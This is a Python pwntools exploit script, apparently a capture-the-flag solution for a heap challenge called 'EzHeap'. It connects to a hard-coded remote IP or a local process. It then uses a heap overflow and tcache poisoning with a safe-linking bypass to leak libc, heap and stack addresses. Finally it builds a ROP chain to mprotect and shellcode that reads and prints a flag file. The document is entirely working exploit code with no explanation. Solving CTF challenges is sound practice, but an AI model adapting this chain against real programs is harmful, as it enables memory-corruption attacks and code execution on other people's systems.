1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193
| from pwn import * # from LibcSearcher import * import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1 IP = "47.100.139.115" PORT = 30708
elf = context.binary = ELF('./EzHeap') libc = elf.libc
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(size,content): sla("choice","1") sla("size:",str(size)) sa("content:",content)
def delete(idx): sla("choice","2") sla("idx:",str(idx))
def edit(idx,size,content): sla("choice","3") sla("idx:",str(idx)) sla("size:",str(size)) sa("content:",content)
def show(idx): sla("choice","4") sla("idx:",str(idx))
for i in range(6): add(0x88,"AAAAAAAA")
# 6 - 12 tcache # 13 heap overlap # 14 chunk # 15 unsorted bin
for i in range(11): add(0x88,"BBBBBBBB")
edit(12,0x90,b'A' * 0x88 + p64(0x101))
for i in range(6,13): delete(i)
delete(15) delete(13)
add(0xf8,"BBBBBBBB") edit(6,0x120,b'B' * 0x120) show(6)
ru(b"B" * 0x120) leak = u64(r(6).ljust(8,b'\x00')) libc_base = leak - (0x7dcae2a1ace0 - 0x7dcae2800000) success(hex(libc_base)) edit(6,0x120,b'B' * 0x118 + p64(0x91))
environ = libc_base + libc.sym['__environ'] mprotect = libc_base + libc.sym['mprotect']
for i in range(7): add(0x88,"AAAA")
add(0x88,"BBBB")
delete(16) edit(6,0x1b0,b'B' * 0x1b0)
show(6) ru(b'B' * 0x1b0) leak = u64(p.recv(5).ljust(8)) << 12 heap_base = (leak & 0xffffffffffffff) - (0x57c9c5039000 - 0x57c9c5037000) success(hex(heap_base))
edit(6,0x1b8,b'B' * 0x1a8 + b'B' * 8 + b'B' * 8) show(6) ru(b'B' * 0x1a8 + b'B' * 8 + b'B' * 8) key = u64(r(8)) success(hex(key))
edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(heap_base >> 12))
add(0x88,"BBBB") # 16 add(0x88,"CCCC") # 17
delete(17) delete(16)
pos = heap_base + 0x2940 target = (environ - 0x80) ^ (pos >>12) edit(6,0x1b8,b'B' * 0x1a8 + p64(0x91) + p64(target))
add(0x88,"DDDD") add(0x80,"D" * 0x80) # 17 show(17) ru(b"D" * 0x80)
leak_stack = u64(r(6).ljust(8,b'\x00')) success(hex(leak_stack))
pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x000000000002be51 pop_rdx_r12_ret = libc_base + 0x000000000011f2e7 mprotect = libc_base + libc.sym['mprotect'] leave_ret = libc_base + 0x000000000004da83
rrr = heap_base + 0x2aa8 + 0x8
payload = p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x21000 + 0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect) payload += p64(rrr) payload += b'./flag\x00\x00'
payload += asm(f''' mov rdi,{rrr - 0x8} mov rsi,0 mov rax,2 syscall
mov rdi,3 mov rsi,{rrr - 0x100} mov rdx,0x40 mov rax,0 syscall
mov rdi,1 mov rsi,{rrr - 0x100} mov rdx,0x40 mov rax,1 syscall
''')
payload_addr = heap_base + (0x6219f663ba60 - 0x6219f6639000) add(0x200,payload)
edit(6,0x100,b'a' * 0x88 + p64(0x91) + b'\x00' * 0x10)
delete(16) delete(14)
rbp = leak_stack - (0x7ffedc8a1868 - 0x7ffedc8a16f0) pos = heap_base + (0x56576dc75820 - 0x56576dc73000) target = rbp ^ (pos >> 12) edit(6,0x100,b'a' * 0x88 + p64(0x91) + p64(target))
success(hex(leak_stack)) add(0x88,p64(0x114514) * 2) # g(p) add(0x88,p64(payload_addr - 0x8) + p64(leave_ret))
p.interactive()
|